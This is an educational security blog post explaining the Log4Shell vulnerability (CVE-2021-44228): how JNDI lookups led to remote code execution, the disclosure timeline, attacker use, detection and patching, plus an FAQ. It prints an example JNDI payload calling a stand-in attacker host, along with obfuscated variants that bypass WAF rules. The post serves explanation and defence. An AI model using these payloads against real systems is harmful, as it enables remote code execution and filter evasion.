CVE: CVE-2021-44228 CVSS Score: 10.0 (Critical — the maximum possible) Affected: Apache Log4j 2, versions 2.0-beta9 through 2.14.1 Disclosed: December 9, 2021 Patched: Log4j 2.17.1+
When ever a new CVE with Critical score is identified, my team generally thinks that we have some mitigation in terms of Firewall or WAF and this CVSS score might be of reduced risk for our Infra but when Log4j vulnerability came into existence even our Firewall could not help reducing this risk. Attackers were able to bypass Firewalls and WAFs by developing obfuscated payloads and were able to exploit the Log4Shell vulnerability. In our case, we were fortunate because our applications were not using vulnerable Log4j configurations that allowed attacker-controlled JNDI lookups to be evaluated. Keep reading if you are curious to learn how it works.
If you’ve ever read one of our CVE Spotlight posts and wondered how a vulnerability earns a CVSS score of 10.0 — the absolute maximum — Log4Shell is the answer. It took a logging library that almost nobody had heard of, turned it into a global emergency, and exposed a fundamental weakness in how the software industry handles dependencies. Four years later, it’s still being actively exploited in unpatched systems.
What Is Log4j and Why Was It Everywhere?
Apache Log4j is an open-source Java logging library — essentially, code that applications use to write log messages. When your Java application needs to record “user logged in” or “error processing request,” Log4j handles that. It’s unglamorous, behind-the-scenes plumbing.
That’s exactly why it was so dangerous. Log4j was embedded in thousands of enterprise products — Cisco, VMware, IBM, Elasticsearch, Apple’s iCloud backend, Amazon Web Services infrastructure, Minecraft servers. Most organizations didn’t know they ran it because it frequently appeared not as something they had explicitly installed, but as a dependency of a dependency — invisible in direct software inventories but running in production. When Log4Shell dropped, security teams couldn’t just run a quick scan of their own software list. They had to find a library buried inside other products, inside other frameworks, inside other libraries.
That’s what made it uniquely catastrophic: ubiquity, hidden presence, and trivial exploitation all arriving at the same time.
How the Vulnerability Actually Worked
Log4j supported a feature called message lookup substitution. When it logged a string, it would check whether that string contained special formatting patterns — and if so, it would evaluate them and substitute the result. One of those lookup methods was JNDI (Java Naming and Directory Interface), which allows Java applications to query external directory services like LDAP for configuration data.
The problem: Log4j would follow through on JNDI lookups in user-supplied input that it was logging. So if an attacker could get an application to log a string they controlled — something as simple as a username field, a search box, or an HTTP header — they could inject a JNDI lookup pointing to a server they controlled:
${jndi:ldap://attacker.com/exploit}
When a vulnerable application logged this string, Log4j would reach out to attacker.com, retrieve a malicious Java class from that server, and execute it. No authentication required. No user interaction required. A single string in an HTTP header was enough to achieve remote code execution on any server running a vulnerable Log4j version.
The CVSS 10.0 score reflects exactly this: network-exploitable, zero privileges required, zero user interaction, full system compromise. Every input that feeds into logging — and in a well-instrumented Java application, that’s almost everything — was a potential entry point.
The Timeline: From Secret to Global Emergency
- November 24, 2021 — Chen Zhaojun of Alibaba Cloud’s security team privately discloses the vulnerability to the Apache Software Foundation
- December 6, 2021 — Apache releases Log4j 2.15.0 (the first attempted fix, before the CVE is even public)
- December 9, 2021 — A proof-of-concept exploit is posted publicly on GitHub; attackers begin mass scanning within hours
- December 10, 2021 — CVE-2021-44228 is officially published; CISA issues Emergency Directive 22-02 requiring federal agencies to patch immediately
- December 14, 2021 — The 2.15.0 fix is found to be incomplete; Apache releases 2.16.0, disabling JNDI entirely
- December 18, 2021 — Two more related CVEs discovered (CVE-2021-45105 and CVE-2021-44832); Apache releases 2.17.0 and eventually 2.17.1
That timeline matters: from private disclosure to mass exploitation was 15 days. From public disclosure to exploitation was hours. Security teams around the world had almost no time to respond before active attacks were already underway. Nation-state actors, ransomware groups, and botnet operators all incorporated Log4Shell into their toolkits within days of public disclosure.
Who Was Affected and What Attackers Did With It
The scope was staggering. Research by Wiz and EY found that 93% of cloud enterprise environments were vulnerable. Ten days after disclosure, only 45% of vulnerable workloads had been patched.
Attackers used Log4Shell for:
- Cryptomining — the fastest, easiest monetisation: install a miner, profit immediately
- Ransomware deployment — establish access via Log4Shell, move laterally, deploy ransomware later
- Credential theft — extract service account credentials from compromised systems
- Persistent backdoors — install access tools for later use, even after patching
- Espionage — nation-state actors used it as an initial access vector for targeted campaigns
The transitive dependency problem meant that organizations patched their own Log4j installations but missed vulnerable versions bundled inside third-party products — SIEMs, monitoring tools, IoT devices, industrial control systems — that they had no visibility into. Many of these remain unpatched today.
Why It Was So Hard to Find
Most vulnerability responses follow a simple pattern: find the thing, patch the thing. Log4Shell broke that pattern in several ways:
You couldn’t see it. Log4j appeared as a transitive dependency — a library inside a library inside a product. Standard software inventory tools only saw what organizations had explicitly installed. The Log4j hiding inside a vendor product was invisible.
Obfuscation worked. Attackers quickly discovered that Log4j would decode nested variables before evaluating them. That meant strings like ${${lower:j}ndi:ldap://...} or ${${::-j}${::-n}${::-d}${::-i}:ldap://...} triggered the vulnerability but bypassed naive WAF rules and string-matching defenses looking for ${jndi:.
The first patch wasn’t enough. Log4j 2.15.0, released before public disclosure, contained an incomplete fix. 2.16.0 was more effective (disabling JNDI entirely), and 2.17.1 was the final recommended version after further CVEs were found. Organizations that patched once and considered themselves done were sometimes wrong.
The Long-Term Lessons
Log4Shell changed how the industry thinks about software supply chain security in several ways that are still playing out today:
SBOMs became urgent. A Software Bill of Materials — a machine-readable inventory of every component in a piece of software — would have made identifying Log4j deployments straightforward rather than a multi-week forensic exercise. Log4Shell directly accelerated US government policy on SBOM requirements under Executive Order 14028.
Transitive dependencies are the real risk surface. What you explicitly deploy is only part of your attack surface. What’s inside the things you deploy matters just as much — and most organizations still don’t have complete visibility into this.
Speed of exploitation is accelerating. Log4Shell went from public disclosure to mass exploitation in hours. That window will only get shorter as AI-assisted exploit development matures. Security teams that wait for CVEs to trickle through normal patching cycles are already behind.
Detecting Log4Shell in Your Environment
If you’re checking whether old systems or vendor products are still vulnerable:
- Search application logs for strings containing
${jndi:,${lower:,${upper:— these are exploitation attempt indicators - Check running Java processes for Log4j JARs using:
find / -name "log4j*.jar" 2>/dev/null - For vendor products, check each vendor’s security advisory directly — many published specific guidance
- If you run a SIEM, look for outbound LDAP connections from application servers to unusual external hosts — this indicates a successful JNDI callback
Safe versions: Log4j 2.17.1+ (Java 8), 2.12.4+ (Java 7), 2.3.2+ (Java 6). If you find anything older, treat it as vulnerable until proven otherwise.
Frequently Asked Questions
Is Log4Shell still a risk in 2026? Yes. Unpatched systems continue to be exploited. Threat actors actively scan for vulnerable Log4j versions because a significant number of legacy applications, IoT devices, and vendor products were never patched. It remains on CISA’s Known Exploited Vulnerabilities catalog.
Does Log4j version 1.x have this vulnerability? No. CVE-2021-44228 specifically affects Log4j 2.x. However, Log4j 1.x has its own separate vulnerabilities and reached end-of-life in 2015 — it should not be running in any modern environment.
Why was the CVSS score 10.0? Because every metric in the CVSS Base Score was at its worst possible value: network-exploitable, zero attack complexity, no privileges required, no user interaction, and full impact on confidentiality, integrity, and availability. To understand how CVSS scores work, see our What Is CVSS Score? Severity Ratings Explained post.
What’s the difference between CVE-2021-44228, CVE-2021-45046, and CVE-2021-45105? CVE-2021-44228 is the original Log4Shell RCE vulnerability. CVE-2021-45046 was a bypass of the initial 2.15.0 fix that allowed RCE in certain non-default configurations. CVE-2021-45105 is a denial-of-service vulnerability found in 2.16.0. All are addressed in Log4j 2.17.1+.
What’s the simplest way to fix it? Upgrade to Log4j 2.17.1 or later. If upgrading isn’t immediately possible, disabling the JNDI lookup feature entirely and blocking outbound LDAP traffic from application servers are the most effective mitigations.
Next Steps
Log4Shell is the clearest real-world example of what a CVSS 10.0 actually looks like in practice — and why a complete vulnerability response requires more than just CVSS severity. It requires knowing where your dependencies are, how fast you can respond, and whether your vendor products are being patched too.
This post is part of the Cybersecurity Fundamentals series. Next up: the SolarWinds hack — another supply chain attack, but one that operated at an entirely different level of sophistication and patience. For live CVEs affecting Java frameworks and logging libraries, check the CVE Tracker.
Raghu the Security Expert has 20 years of experience in Security, DevSecOps, AI Security, and Penetration Testing. He has helped 80,000+ students upskill themselves in DevSecOps, Application Security, and AI Security. Follow his work on LinkedIn, YouTube, and Udemy.


That’s a really clear breakdown of a complicated issue. It’s still surprising how widespread the impact was, even with the patching.